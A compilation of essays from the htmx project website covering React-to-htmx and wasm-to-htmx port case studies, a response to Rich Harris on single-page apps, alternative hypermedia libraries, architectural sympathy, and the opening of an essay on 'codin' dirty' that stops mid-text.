["The Mother of All htmx Demos"](https://en.wikipedia.org/wiki/The_Mother_of_All_Demos) at
[DjangoCon 2022](https://pretalx.evolutio.pt/djangocon-europe-2022/talk/MZWJEA/):

> **From React to htmx on a real-world SaaS product: we did it, and it's awesome!**
> 
> We took the plunge and replaced the 2-year-of-work React UI of our SaaS product with simple Django templates and htmx 
> in a couple of months. We’d like to share our experience with you, with concrete indicators on various aspects, and 
> convince your CTO!

## Video

You can (should!) watch the entire presentation here:

<iframe style="max-width: 100%" width="618" height="352" src="https://www.youtube.com/embed/3GObi93tjZI" title="DjangoCon 2022 | From React to htmx on a real-world SaaS product: we did it, and it's awesome!" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

## Executive Summary

* The effort took about **2 months** (with a 21K LOC code base, mostly JavaScript)
* **No reduction** in the application's user experience (UX)
* They reduced the **code base size** by **67%** (21,500 LOC to 7200 LOC)
* They _increased_ **python code** by **140%** (500 LOC to 1200 LOC), a good thing if you prefer python to JS
* They reduced their total **JS dependencies** by **96%** (255 to 9)
* They reduced their **web build time** by **88%** (40 seconds to 5)
* **First load time-to-interactive** was reduced by **50-60%** (from 2 to 6 seconds to 1 to 2 seconds)
* **Much larger data sets were possible** when using htmx, because react simply couldn't handle the data
* Web application **memory usage** was reduced by **46%** (75MB to 45MB)

## Analysis

These are eye-popping numbers, and they reflect the fact that the Contexte application is extremely amenable to 
hypermedia: it is a content-focused application that shows lots of text and images.  We would not expect every 
web application to see these sorts of numbers.  

However, we _would_ expect _many_ applications to see dramatic improvements by adopting the hypermedia/htmx approach, at
least for part of their system.

### Dev Team Makeup

One easy-to-overlook aspect of the port is the effect it had on the team's structure.  When Contexte was using react,
there was a hard split between back-end and front-end, with two developers being entirely back-end, one developer being
entirely front-end, and one developer being "full stack".  

("Full stack" here means they are comfortable doing work on both the front-end and back-end, and, thus are able to 
develop features entirely independently across the whole "stack".)

After the port to htmx, *the entire team* became "full stack" developers.  This means that each team member is more 
effective and able to contribute more value.  It also makes development more fun, since developers can own an entire
feature.  Finally, it can lead to better optimized software, since the developer can make optimizations anywhere in
the stack without needing to coordinate with other developers.

## Slides

The slides for the presentation can be found here (be sure to check the excellent speakers notes!)

<https://docs.google.com/presentation/d/1jW7vTiHFzA71m2EoCywjNXch-RPQJuAkTiLpleYFQjI/edit?usp=sharing>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/a-real-world-wasm-to-htmx-port.md

+++
title = "A Real World wasm to htmx Port"
description = """\
  In this article, Joe Fioti describes their journey of simplifying their web application architecture by moving from \
  a complex WebAssembly-based system to a streamlined htmx solution, resulting in significantly reduced code \
  complexity and improved development efficiency."""
date = 2025-01-10
updated = 2025-01-10
authors = ["Joe Fioti"]
[taxonomies]
tag = ["posts"]
+++

<style>
img, video {
  max-width: 100%;
  margin: 10px;
}
</style>

When I was in college, I wrote some customer service software that tied together some custom AI models I trained, the OpenAI API, a database, and some social media APIs to make the first version of [Sidekick](https://sidekickai.co).

## Led astray

Over the next couple years I worked on adding more features and growing the user base. As a solo founder, I should have been focused on sales, marketing, and market discovery. Instead, as an engineer, I wanted to hand-craft the perfect web stack. I was firmly of the belief that the network gap between the frontend and the backend could be abstracted away, and I could make writing web apps as simple as writing native apps. Did this have anything to do with my business, product, or customers? Absolutely not, but as many technical founders do, I believed if I perfected the tech, the customers would materialize.

My design decisions were naive, but also reminiscent to what's seen in industry today: I wanted the backend and frontend to share a language (Rust), I wanted compile-time checks across the network boundary, I wanted to write frontend code like it was an app (reactive), and I wanted nearly instant reload times. What I got out of it was a buggy mess.

I had invented a system where simple rust functions can be tagged with a macro to generate a backend route and a frontend request function, so you can call the function like it was a standard function, and it would run on the backend. A true poor-mans GraphQL. My desire to write Rust on the frontend required I compile a WASM bundle. My desire for instant load times required isomorphic SSR. All of this complexity, for what was essentially a simple CRUD site.

## A better way

At this point Sidekick has grown and it now has a codebase which is responsible for not-insignificant volumes of traffic each day. There was this point where I looked into HTMX, multi-page websites, and HATEOAS, and realized the Sidekick codebase, which had grown into ~36k lines spread over 8 different crates, could be folded into a single crate, a single binary that ran the backend, which generated the frontend on demand through templating, and that HTMX could suffice for all the interactivity we required.

Large refactors typically have a bad track record so we wrote a quick and dirty simplified version of part of the site to convince ourselves it could work. After sufficient convincing, we undertook a full rewrite. All said and done, the rewrite took approximately 3 weeks of intense work. The results were dramatic:

- **36k LOC -> 8k LOC**
- **8 crates -> 1 crate**
- **~5 bug reports / week -> ~1 bug report / week**
- **More full nights of sleep**

![sidekick_port_loc.jpg](/img/sidekick_port_loc.jpg)


The rewrite went far better than I could have imagined. It definitely won't be representative of every experience, our app was definitely uniquely suited to HTMX. Axum and some custom middleware also went a long way for sharing common infrastructure across the site. Though we don't have proper metrics, we've anecdotally noticed significantly improved load times.

## Reflection

I'll finish by touching on the biggest benefit in my eyes: it's tremendously easier to add new features as our customers request them. A feature that would have taken 2 weeks to fully implement, test and ship, now takes a day or two. As a small startup with a large number of customer demands, this is table stakes.

Sidekick hasn't raised VC funding so I can't afford to hire lots of devs. With HTMX we don't need to.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/a-response-to-rich-harris.md

+++
title = "A Response To &quot;Have Single-Page Apps Ruined the Web?&quot;"
description = """\
  In this essay, Carson Gross gives an analysis of Rich Harris's talk 'Have Single-Page Apps Ruined the Web?', \
  exploring the debate between Single-Page Applications (SPAs) and Multi-Page Applications (MPAs). Carson examines \
  Harris's criticisms of both approaches and proposes hypermedia-oriented solutions using htmx, while discussing the \
  broader implications for web development architecture and the future role of JavaScript in web applications."""
date = 2021-12-24
updated = 2022-05-27
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

[Rich Harris](https://twitter.com/rich_harris) is a well-known web developer who works on [Svelte.js](https://svelte.dev/), a novel
Single-Page Application (SPA) framework.

In October of 2021 he gave a talk at JamStack entitled ["Have Single-Page Apps Ruined the Web?"](https://www.youtube.com/watch?v=860d8usGC0o).

We have been asked for our opinion on the talk, so this essay is our response.

The first thing to say about the talk is that it is very well done: well produced, thoughtful, funny, fair to both sides of the debate
and very reasonable throughout.  We don't agree with a lot that Mr. Harris has to say, as we will detail below, but we respect
and appreciate his opinions as well as the technologies he works on.

## Problems with SPAs

The talk begins with some reasonable criticisms of SPAs, particularly focusing on usability issues found
with Instagram, a canonical SPA implementation from our friends at Facebook.  He takes a very fair look at
the drawbacks to SPAs, including but not limited to the following list:

* You will need a bloated JS framework
* Performance will suffer
* It will be buggy
* There will be accessibility issues
* The tooling is complicated
* It will be less resilient

After considering the usability issues with Instagram, Mr. Harris has this to say:

> Come on people.  If the best front end engineers in the world can't make
> text and images work without five megabytes of javascript, then  maybe
> we should just give up on the web platform.

Here we find ourselves in violent agreement with Mr. Harris, with the caveat that we would substitute "the *javascript* web platform"
for just "the web platform", since that is what is in play with Instagram.

We would further clarify that SPA applications and frameworks often simply *ignore* the *actual* web platform, that is,
the original, [REST-ful model](@/essays/rest-explained.md) of the web, except as a bootstrap mechanism.

## Problems with MPAs

Mr. Harris then moves on to problems with Multi-Page Applications (MPAs) which are the "traditional",
click-a-link-load-a-page-of-HTML web applications we are all familiar with and that are, to an extent,
being supplanted by SPAs.

Below, we will go through the various problems he outlines, all of which are true of "standard" MPAs,
and we will demonstrate how an MPA using a hypermedia-oriented technology, [htmx](@/_index.md), can solve each of them.

### "You Can't Keep A Video Running On Navigations"

A general problem with standard MPAs is that they issue a full page refresh on
every request.  This means something like a video or audio player will be replaced and, thus, stop playing, when a request is made.

This problem can be addressed in htmx via the [`hx-preserve`](@/attributes/hx-preserve.md) attribute, which tells htmx to
preserve a particular piece of content between requests.

### "Back Button & Infinite Scroll Don't Work"

In the presence of infinite scroll behavior (presumably implemented via javascript of some sort) the back button will not work properly with an MPA.  I would note that the presence of infinite scroll calls into question the term MPA, which would traditionally use paging instead of an infinite scroll.

That said, [infinite scroll](@/examples/infinite-scroll.md) can be achieved quite easily using htmx, in a hypermedia-oriented and obvious manner.  When combined with the [`hx-push-url`](@/attributes/hx-push-url.md) attribute, history and the back button works properly with very little effort by the developer, all with nice Copy-and-Pasteable URLs, sometimes referred to as "Deep Links" by people in the SPA community.

### "What about Nice Navigation Transitions?"

Nice transitions are, well, nice.  We think that designers tend to over-estimate their contribution to application usability, however.  Yes, the demo sizzles, but on the 20th click users often just want the UI to get on with it.

That being said, htmx supports using [standard CSS transitions](@/examples/animations.md) to make animations possible.  Obviously there is a limit to what you can achieve with these pure CSS techniques, but we believe this can give you the 80 of an 80/20 situation.  (Or, perhaps, the 95 of a 95/5 situation.)

### "Multipage Apps Load Javascript Libraries Every Request"

Mr. Harris focuses heavily on "crappy Ad Tech" as a culprit for web usability issues on the web, and who can defend the 2.5MB payload of tracking, spyware and adware that most websites deliver to their users today?  Mr. Harris points out that SPAs ameliorate this issue by loading up this bundle of garbage once, rather than over and over on every request, as an MPA does.

Now, a vanilla MPA would typically have said garbage cached after the first request, so the download cost, at least, is about the same as with SPAs.  But an MPA must *execute* the bundle of garbage again on each page, which does burn CPU and can lead to poor user experience.

However, an MPA powered by htmx, we note, has exactly the same characteristics as an SPA: the ad garbage would be downloaded and executed once on the first request, and, after that, all requests will be relatively light-weight replacements of DOM elements.

### "MPAs Have Network Latency Issues"

This is a valid point: with an MPA-style application your UI interactions are gated by how fast your server can respond to requests, its latency.  Part of that is network latency, which is hard to overcome without giving up one of the tremendously simplifying aspects of traditional web applications: a centralized data store.  However, networks are fast and are getting faster, and there are well-known techniques for optimizing *server* latency (i.e. how fast your server returns a response), developed over decades, for monitoring and optimizing this response time.  SQL tuning, Redis caching and so on, all well established and making sub-100ms responses a reasonable goal.  Many htmx users remark just how fast htmx-based applications feel, but we won't pretend that latency isn't an issue to be considered.

Of course the problem with latency issues is that they can make an app feel laggy.  But, like you, we have worked with plenty of laggy SPAs, so we must say the problem isn't neatly solved by simply adopting SPA frameworks.  On top of that, optimistically synchronizing data with a server can lead to extremely difficult to understand data consistency issues as well as a significant increase in overall application complexity, a topic we will return to later.

### "GitHub Has UI Bugs"

GitHub does, indeed, have UI bugs.  However, none of them are particularly difficult to solve.

htmx offers multiple ways to [update content beyond the target element](@/examples/update-other-content.md), all of them quite easy and any of which would work to solve the UI consistency issues Mr. Harris points out.

Contrast the GitHub UI issues with the Instagram UI issues Mr. Harris pointed out earlier: the Instagram issues would
require far more sophisticated engineering work to resolve.

## Transitional Applications

Mr. Harris then discusses the concept of "transitional applications" which are a mix of both SPA and MPA technologies.
This terminology is reasonable, and we will see if the term sticks in the industry.

We often recommend using htmx for the parts of the app where it makes sense to keep things simple, and then using other
technologies when needed: [alpine.js](https://alpinejs.dev/), [hyperscript](https://hyperscript.org), a small reactive
framework, etc.

So we can agree with Mr. Harris here to an extent and recommend a "transitional" approach to web development, although
we would recommend leaning MPA/hypermedia when possible, whereas it seems fairly certain Mr. Harris would lean SPA/javascript.

## The Elephant In The Room: Complexity

Unfortunately, there is a topic that Mr. Harris does not discuss, and we believe this may be because he doesn't see it.  He is a javascript developer who is passionate about that language and who swims in the engineering culture of front end frameworks, so the current *complexity* of javascript front end development seems natural to him.  For many of us, however,  the javascript ecosystem is simply *insanely* overly-complicated.  Comically so, in fact, given the requirements of most web applications.

Many of the "transitional" technologies that Mr. Harris goes on to mention: [React Server Components](https://vercel.com/blog/everything-about-react-server-components) (which he calls "like html over the wire, but vastly more sophisticated), [Marko](https://markojs.com/) (which is doing "partial hydration"), [Quik](https://github.com/BuilderIO/qwik) (which aggressively lazy loads things, apparently), are all remarkable engineering achievements, but are also all, we must say, quite complicated.

This is, unfortunately, part of the culture of front end development right now: sky-high levels of complexity are tolerated in application frameworks, in build tool chains, in deployment models and so on, and, when problems arise due to all this complexity, more complexity is often offered as the answer.

"Simple" is disparaging and "sophisticated" is high praise.

This complexity is overwhelming many developers and development teams today.  As Mr. Harris himself points out when discussing Instagram, even some of
the best front-end engineers in the world appear to be unable to keep it all under control.

So there is a cultural issue here.

There is a technical issue as well.

This technical issue can be summarized as "The Hypermedia Approach" vs. "The Remote Procedure Call (RPC) Approach".

When web applications moved from MPAs to SPAs, they adopted, often unwittingly, an RPC approach to application development:
AJAX moved to JSON as a data serialization format and largely ([and correctly](@/essays/hypermedia-apis-vs-data-apis.md))
abandoned the hypermedia concept.   This abandonment of The Hypermedia Approach was driven by the admitted usability
issues with vanilla MPAs.

It turns out, however, that those usability issues often *can* [be addressed](@/examples/_index.md) using The Hypermedia Approach:
rather than *abandoning* Hypermedia for RPC, what we needed then and what we need today is a *more powerful* Hypermedia.

This is exactly what htmx gives you.

By returning to The Hypermedia Approach, you can build reasonably sophisticated web applications that address many of
Mr. Harris's concerns regarding MPAs at a fraction of the complexity required by most popular SPA frameworks.  Further, without
thinking about it very much, you will get all [the benefits](https://en.wikipedia.org/wiki/Representational_state_transfer#Architectural_concepts)
that Roy Fielding outlined about truly REST-ful architectures.

Is The Hypermedia Architecture right for all web applications?  Obviously not.

Is it right for many, and perhaps most, web applications?  We certainly think so, at least in part.

## Javascript: The Resistance

Now we get to the most emotionally charged claim made in the talk: that "the ship has sailed" on javascript, and that
 we should accept that it will be the dominant programming language in web development going forward.

Mr. Harris believes that it will be [edge computing](https://en.wikipedia.org/wiki/Edge_computing) that will be the
driver that finally eliminates the remaining, scattered opposition to javascript.

We are not so sure about that.

To the contrary, we do not expect edge computing to figure in the majority of web applications for the foreseeable future.
Or, to be frank, ever. CPU is cheap, network speeds are fast and increasing and microservices are a mess.

And, contra what Mr. Harris says, today the [trend is not obviously in javascripts favor](https://insights.stackoverflow.com/trends?tags=java%2Cc%2Cc%2B%2B%2Cpython%2Cc%23%2Cvb.net%2Cjavascript%2Cassembly%2Cphp%2Cperl%2Cruby%2Cvb%2Cswift%2Cr%2Cobjective-c).  Five years ago, we, as founding members
of the javascript resistance, were despairing of any hope of stopping the Javascript juggernaut.  But then something
unexpected happened: Python took off and, at the same time, javascript flat lined:

<div style="text-align:center">

![Javascript Devs](/img/language-trends-so.png)

</div>

This trend of javascript peaking in the mid-2010's can be observed [on GitHub](https://www.benfrederickson.com/ranking-programming-languages-by-github-users/) as well:

<div style="text-align:center">

![Javascript Devs](/img/language-trends-github.png)

</div>

Now, does this mean javascript will eventually "lose" to Python and go away?

Of course not.  Javascript is a core technology of the web and will be with us forever.  Without it, we couldn't have built
htmx (or [hyperscript](https://hyperscript.org)) so we are very thankful for javascript.

But this *does* imply that the future of the web does not *necessarily* belong *entirely* to javascript, as appeared to be the case 
say five years ago.

We are fond of talking about the HOWL stack: Hypermedia On Whatever you'd Like.  The idea is that, by returning to a (more powerful) Hypermedia Architecture, you can use whatever backend language you'd like: python, lisp, haskell, go, java, c#, whatever.  Even javascript, if you like.

Since you are using hypermedia & HTML for your server interactions, you don't feel that pressure to adopt javascript on
the backend that a huge javascript front end produces.  You can still use javascript, of course, (perhaps in the form of [alpine.js](https://alpinejs.dev/))
but you use it in the manner it was originally intended: as a light, front end scripting language for enhancing your
application.  Or, if you are brave, perhaps you can try [hyperscript](https://hyperscript.org) for these needs.

This is a world we would prefer to live in: many programming language options, each with their own strengths, technical cultures and thriving
communities, all able to participate in the web development world through the magic of more powerful hypermedia, rather than a
monolith of SPAs-talking-to-Node-in-JSON.  Diversity, after all, is our strength.

In conclusion,

<div style="text-align:center">

![Javascript Devs](/img/js-devs-be-thinking.png)

</div>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/all/_index.md

+++
title = "All Essays"
insert_anchor_links = "left"
template = "essay_all.html"
+++

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/alternatives.md

+++
title = "Alternatives to htmx"
description = """\
  In this article, Carson Gross compares several alternative libraries and frameworks to htmx that embrace a \
  hypermedia-oriented approach to web development. Carson explores established solutions like Unpoly and Hotwire \
  Turbo, as well as emerging projects like Triptych and htmz, providing developers with a comprehensive overview of \
  hypermedia-driven application development options beyond htmx."""
date = 2025-01-12
updated = 2024-01-12
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

[htmx](/) is only one of many different libraries & frameworks that take the
[hypermedia oriented](@/essays/hypermedia-driven-applications.md) approach to building web applications.  I have
said before that I think the [ideas of htmx](/essays) / [hypermedia](https://hypermedia.systems) are more important than
htmx as an implementation.

Here are some of my favorite other takes on these ideas that I think are worth your consideration:

## Unpoly

[Unpoly](https://unpoly.com/) is a wonderful, mature front end framework that has been used heavily (especially in the
ruby community) for over a decade now.  It offers best-in-class [progressive enhancement](https://developer.mozilla.org/en-US/docs/Glossary/Progressive_Enhancement)
and has many useful concepts such as [layers](https://unpoly.com/up.layer) and sophisticated 
[form validation](https://unpoly.com/validation).

I interviewed the author, Henning Koch, [here](@/essays/interviews/henning_koch.md)

You can see a demo application using Unpoly [here](https://demo.unpoly.com/).

## Triptych

[Triptych](https://github.com/alexpetros/triptych) is a set of [three proposals](https://alexanderpetros.com/triptych/) 
to bring more generalized hypermedia controls directly into the HTML specification:

* Allow more [HTTP Methods](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods) to be used directly from HTML
* Allow buttons to act as stand-alone hypermedia controls
* Allow hypermedia controls to target any element on the page for replacement

It is [in the process](https://github.com/whatwg/html/issues/3577#issuecomment-2294931398) of being introduced to the 
[WHATWG](https://whatwg.org/) for inclusion in the HTML specification.

The project includes a [polyfill](https://github.com/alexpetros/triptych/blob/main/triptych.js) that can be used today
to implement applications using the proposal today.

## fixi.js

[fixi.js](https://github.com/bigskysoftware/fixi) is a minimalist implementation of
[generalized hypermedia controls](https://dl.acm.org/doi/fullHtml/10.1145/3648188.3675127) by the htmx team, focusing
on being as small as possible and [omitting](https://github.com/bigskysoftware/fixi#minimalism) many of the features 
found in htmx.

It is intended to be as small as possible (~3.5k unminified & uncompressed, ~1.3k compressed) while still being readable
and debuggable, so it can be included in a project directly without requiring any transformations.

## Datastar

[Datastar](https://data-star.dev/) started life as a proposed rewrite of htmx in typescript and with modern
tooling.  It eventually became its own project and takes an [SSE-oriented](https://data-star.dev/guide/getting_started#backend-setup)
approach to hypermedia.  

Datastar combines functionality found in both htmx and [Alpine.js](https://alpinejs.dev/) into 
a single, tidy package that is smaller than htmx.  

You can see many examples of Datastar in action [here](https://data-star.dev/examples).

## Nomini

[Nomini](https://github.com/nonnorm/nomini) is a hypermedia implementation that embraces writing JavaScript in the original and intended way, as a simple enhancement to mostly-static pages. Its goal is to add a minimal layer of LoB on top of HTML to allow for powerful server-driven web apps with easily implemented client-side features. Additionally, it is currently the smallest library existing that gives both reactive variables and partial page swaps (~2.8k minified, ~1.4k minzipped).

In essence, Nomini is a tiny reimplementation of Datastar or a combination of Fixi and Alpine.js, intended to be a minimal, pragmatic building block for reactive server-driven UIs.

## Alpine-ajax

Speaking of Alpine (which is a common library to use in conjunction with htmx) you should look at 
[Alpine AJAX](https://alpine-ajax.js.org/), an Alpine plugin which integrates htmx-like concepts directly into Alpine.

If you are already an Alpine enthusiast, Alpine AJAX allows you to stay in that world.

You can see many examples of Alpine AJAX in action [here](https://alpine-ajax.js.org/examples/).

## Hotwire Turbo

[Turbo](https://turbo.hotwired.dev/) is a component of the [Hotwire](https://hotwired.dev/) set of web development
technologies by [37Signals](https://37signals.com/), of [Ruby on Rails](https://rubyonrails.org/) fame.  It is a polished
front end framework that is used heavily in the rails community, but can be used with other backend technologies as well.

Some people who have had a bad experience with htmx [have enjoyed turbo](https://news.ycombinator.com/item?id=42615663).

## htmz

[htmz](https://leanrada.com/htmz/) is a brilliant, tiny library that takes advantage of the fact that anchors and forms
already have a [`target`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#target) attribute that can target 
an `iframe`.

This, in combination with the `location hash`, is used to allow [generalized transclusion](https://dl.acm.org/doi/fullHtml/10.1145/3648188.3675127#sec-7).

This is the *entire* source of the library (I'm not joking):

```html
  <iframe hidden name=htmz onload="setTimeout(()=>document.querySelector(contentWindow.location.hash||null)?.replaceWith(...contentDocument.body.childNodes))"></iframe>
```

Amazing!

## TwinSpark

[TwinSpark](https://twinspark.js.org/) is a library created by [Alexander Solovyov](https://solovyov.net/) that is 
similar to htmx, and includes features such as [morphing](https://twinspark.js.org/api/ts-swap/#morph).

It is being [used in production](https://twinspark.js.org#who-is-using-this) on sites with 100k+ daily users.

## jQuery

Finally, good ol' [jQuery](https://jquery.com/) has the the [`load()`](https://api.jquery.com/load/#load-url-data-complete)
function that will load a given url into an element.  This method was part of the inspiration for 
[intercooler.js](https://intercoolerjs.org), the precursor to htmx.

It is very simple to use:

```javascript
  $( "#result" ).load( "ajax/test.html" );
```
and might be enough for your needs if you are already using jQuery.

## Conclusion

I hope that if htmx isn't right for your application, one of these other libraries might be useful in allowing you to
utilize the hypermedia model.  There is a lot of exciting stuff happening in the hypermedia world right now, and these
libraries each contribute to that.

Finally, if you have a moment, please give them (especially the newer ones) a star on Github: as an open source 
developer I know that Github stars are one of the best psychological boosts that help keep me going.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/another-real-world-react-to-htmx-port.md

+++
title = "Another Real World React -> htmx Port"
description = """\
  In this article, Carson Gross summarizes a real-world case study of Adrian McPhee porting the OpenUnited platform \
  from React to htmx, documenting significant reductions in code complexity and development time while highlighting \
  how content-focused web applications can benefit from a hypermedia architectural approach."""
date = 2023-09-20
updated = 2023-09-20
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

The [Mother of All htmx Demos](@/essays/a-real-world-react-to-htmx-port.md) you can see the real world results of a
port from a React-based front end to an htmx-powered front end.  The results are very good, although we qualify the
experience with the following:

> These are eye-popping numbers, and they reflect the fact that the Contexte application is extremely amenable to
hypermedia: it is a content-focused application that shows lots of text and images.  We would not expect every
web application to see these sorts of numbers.
> 
> However, we _would_ expect _many_ applications to see dramatic improvements by adopting the hypermedia/htmx approach, at
least for part of their system.

As luck would have it, we have another application (again, based on Django on the server side) that has been ported from
a React front end to an htmx front end: [OpenUnited](https://openunited.com/).

Here is a graphic from the [original LinkedIn post](https://www.linkedin.com/feed/update/urn:li:activity:7109116330770878464/) 
by Adrian McPhee, showing the total Lines of Code in the code base before and after the port:

![Open United Before & After](/img/open_united_before_after_htmx.png)

### Before/After Source Code

A very nice aspect of this port is that, because OpenUnited is open source, in contrast with Contexte, the before and 
after code is available to examine:

Before: <https://github.com/OpenUnited/old-codebase>

After: <https://github.com/OpenUnited/platform>

## Executive Summary

Here is a high-level summary of the port

* They reduced the **code base size** by **61%** (31237 LOC to 12044 LOC)
* They reduced the **total number of files** by **72%** (588 files to 163 files)
* They reduced the **total number of file types** by **38%** (18 file types to 11 file types)
* Subjectively, development velocity felt at least **5X** faster
* Rather than prototyping in Figma and then porting to HTML, UX development was done directly in HTML

## Analysis

Once again we have some eye-popping results.  This is because the OpenUnited application is extremely 
amenable to hypermedia: like Contexte, it is a content-focused application that shows lots of text and images.  

This experience again demonstrates that, for at least a certain class of web applications, htmx and the hypermedia 
architecture can be an excellent choice.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/architectural-sympathy.md

+++
title = "Architectural Sympathy"
description = """\
  In this essay, Carson Gross explores architectural sympathy as a software design principle where new software adopts \
  and conforms to the architectural patterns of existing systems. Carson examines the application of architectural \
  sympathy in web development through htmx, its advantages and tradeoffs, and drawing parallels with medieval \
  cathedral construction to illustrate the balance between innovation and coherent design."""
date = 2023-04-06
updated = 2023-04-06
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++


# Mechanical Sympathy & Architectural Sympathy

> You don’t have to be an engineer to be a racing driver, but you do have to have Mechanical Sympathy.

_-Jackie Stewart, racing driver_

The term "mechanical sympathy" was originally coined by Jackie Stewart to capture a characteristic
 of race car drivers, who needed a deep and intuitive understanding of how a race car worked in order
to get the best possible performance out of the vehicle.

This term was applied to software development by Martin Thompson when discussing his [LMAX](https://martinfowler.com/articles/lmax.html)
architecture, which utilized a low level and intuitive understanding of how his cloud system functioned
in order to maximize the performance of it.  Thompson maintained [a blog](https://mechanical-sympathy.blogspot.com/)
on the topic for many years, and it is well worth going back and reading the posts there.

## Architectural Sympathy

In this brief essay I want to propose another concept and design principle, that of _Architectural Sympathy_:

> Architectural Sympathy is the characteristic of one piece of software adopting and conforming to the architectural
> design of another piece of software 

This is a design principle that I have kept in mind when designing [htmx](https://htmx.org) and 
[hyperscript](https://hyperscript.org) and I wanted to write it down for reference and so others can think about,
criticize and improve it.

### htmx's Architectural Sympathy for The Web

htmx is architecturally sympathetic to The Web because it adopts the underlying [REST-ful](/essays/hateoas) architecture 
of The Web: exchanging _hypermedia_ in a REST-ful manner with a hypermedia server.  As much as is practical, htmx takes
design cues from the existing Web infrastructure:

* It mimics the core hypermedia-exchange mechanic of links and forms
* It uses CSS selectors for targeting
* It uses standard URL paths for designating end points
* It uses the standard API language for specifying swap types
* Etc.

htmx attempts to _fold in_ to the existing conceptual architecture of The Web, rather than replace it.

This is in contrast with the [SPA](https://developer.mozilla.org/en-US/docs/Glossary/SPA) approach to building web 
applications.  Most SPA frameworks have little architectural sympathy with the original web model.  Rather, they largely 
_replace_ the original, REST-ful, hypermedia-oriented architecture of the web in favor of a more thick-client like 
architecture, exchanging information over an
[RPC-like fixed-data format](/essays/how-did-rest-come-to-mean-the-opposite-of-rest/) network architecture.

### Advantages Of The Architecturally Sympathetic Approach

If a new piece of software maintains architectural sympathy with an original piece of software, the following advantages
are obtained:

* A developer who is familiar with the original piece of software does not need to learn a whole new conceptual approach
  when using the new piece of software. 
* The design constraints of the original piece of software offer a framework within which to evaluate features for the
  new piece of software.  This makes it easier to [say "no"](https://grugbrain.dev/#grug-on-saying-no) as you develop the
  new software. ("The enemy of art is the absence of limitations." --[Orson Welles](https://quoteinvestigator.com/2014/05/24/art-limit/))
* Experience gained from working with the original piece of software can directly inform the design and implementation of
  the new software
* There will likely be a subjective feeling of "fit" between the new and original software for users of the new software

### Disadvantages Of The Architecturally Sympathetic Approach

Of course, as with any design principle, there are trade-offs when using Architectural Sympathy:

* The shortcomings of the original piece of software are likely to be found in some way in the new software
* The design constraints impressed on the new software by the older software may be so oppressive as to limit progress
  and functionality in the new software
* It may be difficult for developers to "see the point" of the new software, if it feels too close to the original software
* By maintaining architectural sympathy with the older, original software, the new software risks appearing old itself,
  a danger in the software business that has often favored new and exciting approaches to problems.
* You may not be able to layer as many new concepts as some users might like on top of the original software

## Craftsmanship & Architectural Sympathy

A non-software example of architectural sympathy that I like to point to are medieval cathedrals: these cathedrals were
often built, rebuilt and improved over centuries by many different builders and architects (such as they were).  And yet 
they were able, over those centuries, to maintain a high level of architectural sympathy with the earlier workers.

Rather than focusing on radically new approaches to building, workers focused on maintaining a coherent whole and, within
that framework, on the craftsmanship of their individual contributions.  Yes, there were flourishes and changes along the
way, but these typically did not sacrifice the conceptual coherence of the whole for the sake of innovation.

Adopting an architecturally sympathetic mindset in software development often means sacrificing how you would like to
do things in favor of how an original piece of software did things.  While this constraint can chafe at times, it can
also produce well crafted software that is harmonious and that dovetails well with existing software.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/codin-dirty.md

+++
title = "Codin' Dirty"
description = """\
  In this article, Carson Gross discusses an alternative approach to software development that challenges the \
  principles outlined in 'Clean Code.' Carson advocates for allowing larger functions in certain cases, preferring \
  integration tests over unit tests, and minimizing the number of classes and interfaces. He shares examples from \
  successful software projects that demonstrate these practices can lead to maintainable, high-quality code."""
date = 2024-11-24
updated = 2024-11-24
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

<center>

![quick-and-dirty](/img/quick-and-dirty.png)

</center>

> “Writing clean code is what you must do in order to call yourself a professional. There is no reasonable excuse for 
> doing anything less than your best.” [Clean Code](https://www.goodreads.com/book/show/3735293-clean-code)

In this essay I want to talk about how I write code.  I am going to call my approach "codin' dirty" because I often
go against the recommendations of [Clean Code](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882),
a popular approach to writing code.

Now, I don't really consider my code all that dirty: it's a little gronky in places but for the most part I'm 
happy with it and find it easy enough to maintain with reasonable levels of quality.

I'm also *not* trying to convince *you* to code dirty with this essay.  Rather, I want to
show that it is possible to write reasonably successful software this way and, I hope, offer some balance around software
methodology discussions.

I've been programming for a while now and I have seen a bunch of different approaches to building software work.  Some 
people love Object-Oriented Programming (I like it), other very smart people hate it.  Some folks love the expressiveness 
of dynamic languages, other people hate it. Some people ship successfully while strictly following Test Driven Development, 
others slap a few end-to-end tests on at the end of the project, and many people end up somewhere between these extremes.

I've seen projects using all of these different approaches ship and maintain successful software.

So, again, my goal here is not to convince you that my way of coding is the only way, but rather to show you (particularly
younger developers, who are prone to being intimidated by terms like "Clean Code") that you can have a successful 
programming career using a lot of different approaches, and that mine is one of them.

## TLDR

Three "dirty" coding practices I'm going to discuss in this essay are:

* (Some) big functions are good, actually
* Prefer integration tests to unit tests
* Keep your class/interface/concept count down

If you want to skip the rest of the essay, that's the takeaway.

## I Like Big Functions

I think that large functions are fine. In fact, I think that *some* big functions are usually a *good* thing in a codebase.

This is in contrast with Clean Code, which says:

> “The first rule of functions is that they should be small. The second rule of functions is that they should be 
> smaller than that.” [Clean Code](https://www.goodreads.com/book/show/3735293-clean-code)

Now, it always depends on the type of work that I'm doing, of course, but I usually tend to organize my functions into the 
following:

* A few large "crux" functions, the real meat of the module.  I set no bound on the Lines of Code (LOC) of these functions,
  although I start to feel a little bad when they get larger than maybe 200-300 LOC.
* A fair number of "support" functions, which tend to be in the 10-20 LOC range
* A fair number of "utility" functions, which tend to be in the 5-10 LOC range

